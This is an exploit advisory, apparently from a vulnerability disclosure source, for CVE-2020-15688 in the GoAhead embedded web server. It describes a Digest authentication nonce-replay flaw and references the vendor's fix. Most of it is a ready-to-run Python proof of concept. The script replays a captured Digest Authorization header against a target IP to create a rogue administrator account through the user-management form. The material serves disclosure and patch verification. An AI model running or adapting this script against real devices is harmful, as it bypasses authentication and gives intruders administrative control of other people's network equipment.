EmbedThis GoAhead Web Server 5.1.1 Digest Authentication Capture Replay Nonce Reuse

A security vulnerability affecting GoAhead versions 2 to 5 has been identified when using Digest authentication over HTTP. The HTTP Digest Authentication in the GoAhead web server does not completely protect against replay attacks. This allows an unauthenticated remote attacker to bypass authentication via capture-replay if TLS is not used to protect the underlying communication channel. Digest authentication uses a “nonce” value to mitigate replay attacks. GoAhead versions 3 to 5 validated the nonce with a fixed duration of 5 minutes which permitted short-period replays. This duration is too long for most implementations.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# EmbedThis GoAhead Web Server 5.1.1 Digest Authentication Capture Replay Nonce Reuse
#
#
# Vendor: Embedthis Software LLC
# Product web page: https://www.embedthis.com
# Affected version: <=5.1.1 and <=4.1.2
# Fixed version: >=5.1.2 and >=4.1.3
#
# Summary: GoAhead is the world's most popular, tiny embedded web server. It is compact,
# secure and simple to use. GoAhead is deployed in hundreds of millions of devices and is
# ideal for the smallest of embedded devices.
#
# Desc: A security vulnerability affecting GoAhead versions 2 to 5 has been identified when
# using Digest authentication over HTTP. The HTTP Digest Authentication in the GoAhead web
# server does not completely protect against replay attacks. This allows an unauthenticated
# remote attacker to bypass authentication via capture-replay if TLS is not used to protect
# the underlying communication channel. Digest authentication uses a "nonce" value to mitigate
# replay attacks. GoAhead versions 3 to 5 validated the nonce with a fixed duration of 5 minutes
# which permitted short-period replays. This duration is too long for most implementations.
#
# Tested on: GoAhead-http
#            GoAhead-Webs
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2020-5598
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5598.php
#
# CVE ID: CVE-2020-15688
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15688
#          https://nvd.nist.gov/vuln/detail/CVE-2020-15688
#
# CWE ID: CWE-294 Authentication Bypass by Capture-replay
# CWE URL: https://cwe.mitre.org/data/definitions/294.html
# 
# CWE ID: CWE-323: Reusing a Nonce, Key Pair in Encryption
# CWE URL: https://cwe.mitre.org/data/definitions/323.html
#
# GoAhead Security Alerts / Fix:
#  https://github.com/embedthis/goahead-gpl/issues/3
#  https://github.com/embedthis/goahead-gpl/issues/2
#  https://github.com/embedthis/goahead-gpl/commit/fe0662f945bd7e24b8d621929e1b93d8a7f3f08f#diff-0988df549d878c849d7f2c073319bcb2
#
#
# 29.08.2019
#


#
# PoC for a network controller running GoAhead web server.
# Replay Authentication Bypass / Create Admin User
#

import requests
import sys#####

if (len(sys.argv) <= 1):
    print("Usage: ./nen.py <ipaddress>")
    exit(0)

ip = sys.argv[1]

url = "http://"+ip+"/goform/formUserManagementAdd?lang=en"
kolache = {"lang":"en"}

replay  = "Digest username=\"admin\", "
replay += "realm=\"GoAhead\", "
replay += "nonce=\"5fb3ce6dec423bf8b8f0dfc8cf65244d\", "
replay += "uri=\"/goform/formUserManagementAdd?lang=en\", "
replay += "algorithm=MD5, "
replay += "response=\"1c05f4d08aa0cfcc5318882e0fb4e9af\", "
replay += "opaque=\"5ccc069c403ebaf9f0171e9517f40e41\", "
replay += "qop=auth, "
replay += "nc=0000000a, "
replay += "cnonce=\"0649f631320f23bb\""

headers = {"Cache-Control": "max-age=0",
           "Authorization": replay,
           "Content-Type": "application/x-www-form-urlencoded",
           "User-Agent": "NoProxy/NoProblem.251",
           "Accept-Encoding": "gzip, deflate",
           "Accept-Language": "mk-MK;q=0.9,mk;q=0.8",
           "Connection": "close"}

data = {"FormSubmitCause": "button",
        "DefinitionAction": "add",
        "Define_admin_ID": "admin",
        "Define_admin_Name": "admin",
        "Define________Action________ID": '',
        "Define________Action________Name": "testingus",
        "Define________Action________Password": "testingus",
        "Define________Action________Group": "Administrators"}

requests.post(url, headers=headers, cookies=kolache, data=data)

print("Finito")

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